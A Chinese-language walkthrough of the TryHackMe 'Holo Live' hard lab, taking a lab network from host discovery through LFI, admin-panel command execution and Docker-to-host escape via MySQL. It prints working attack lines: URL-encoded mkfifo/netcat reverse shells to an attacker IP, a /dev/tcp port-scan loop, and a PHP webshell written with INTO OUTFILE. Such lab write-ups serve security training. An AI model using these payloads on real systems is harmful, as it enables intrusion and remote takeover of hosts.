Try Hack Me-Holo Live(Hard)上
字数 1332 2025-08-11 08:36:11
Holo Live 靶场渗透测试教学文档
1. 信息收集阶段
1.1 网络探测
使用Nmap进行存活主机扫描:
sudo nmap -sn 10.200.109.0/24
发现两个活跃主机:
- 10.200.109.33
- 10.200.109.250
1.2 端口扫描
对10.200.109.33进行端口扫描:
sudo nmap --min-rate 10000 -p- 10.200.109.33
开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
- 33060/tcp (MySQL X Protocol)
对10.200.109.250进行端口扫描:
sudo nmap --min-rate 10000 -p- 10.200.109.250
开放端口:
- 22/tcp (SSH)
- 1337/tcp (waste服务)
1.3 子域名枚举
- 首先修改/etc/hosts文件:
sudo echo '10.200.109.33 holo.live' >> /etc/hosts
- 使用gobuster进行子域名爆破:
gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
发现三个子域名:
- www.holo.live
- dev.holo.live
- admin.holo.live
- 将这些子域名添加到hosts文件中
2. Web渗透阶段
2.1 dev.holo.live分析
- 发现图片加载路径存在LFI漏洞:
http://dev.holo.live/img.php?file=images/korone.jpg
可尝试任意文件读取攻击
- 目录爆破:
gobuster dir --url http://dev.holo.live/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
发现/admin路径但返回403
2.2 其他子域名分析
- 在www.holo.live和admin.holo.live的robots.txt中发现:
- xlmrpc (未利用成功)
- cerds.txt (可疑文件)
- 利用LFI读取cerds.txt获取凭据:
admin:!123SecureAdminDashboard321!
2.3 后台RCE漏洞
-
使用获取的凭据登录后台
-
查看源代码发现命令执行点
-
构造RCE payload:
cmd=whoami
- 获取反弹shell:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%206666%20%3E%2Ftmp%2Ff
- 升级shell交互性:
python3 -c 'import pty; pty.spawn("/bin/bash")'
3. 权限提升与横向移动
3.1 Docker环境识别
-
确认处于Docker容器中
-
发现宿主机IP:192.168.100.1
-
端口扫描宿主机:
for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
发现开放端口:
- 22
- 80
- 3306
- 8080
3.2 MySQL逃逸
-
在/var/www/wordpress/wp-config.php中找到数据库凭据
-
连接宿主机MySQL:
mysql -h 192.168.100.1 -u admin -p
密码:!123SecureAdminDashboard321!
- 通过MySQL写入webshell:
select '<?php system($_GET[sb]);?>' INTO OUTFILE '/var/www/html/shell1.php';
- 访问webshell:
curl "http://192.168.100.1:8080/shell1.php?sb=id"
- 获取宿主机反弹shell:
curl "http://192.168.100.1:8080/shell1.php?sb=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.50.105.164%205555%20%3E%2Ftmp%2Ff"
4. 关键知识点总结
-
子域名枚举:使用gobuster vhost模式爆破子域名前,必须先将主域名添加到hosts文件
-
LFI漏洞利用:通过img.php的file参数实现任意文件读取
-
后台RCE:通过分析源代码发现隐藏的命令执行点
-
Docker逃逸:
- 识别Docker环境
- 探测宿主机网络
- 通过MySQL服务实现逃逸
-
权限维持:在连接不稳定的情况下,写入webshell是有效的维持访问方法
-
反弹shell技巧:使用mkfifo创建命名管道实现稳定的反弹shell
-
信息收集:配置文件(如wp-config.php)中常包含有价值的凭据信息
5. 改进建议
-
网络不稳定解决方案:
- 使用更稳定的VPN连接
- 考虑使用云服务器作为跳板
- 使用screen或tmux保持会话
-
渗透测试流程优化:
- 先完整收集信息再深入攻击
- 对每个发现的服务进行更全面的测试
- 记录所有尝试过的攻击向量和结果
-
权限提升尝试:
- 在Docker容器内尝试逃逸的其他方法
- 检查宿主机上的SUID文件、cron jobs等提权途径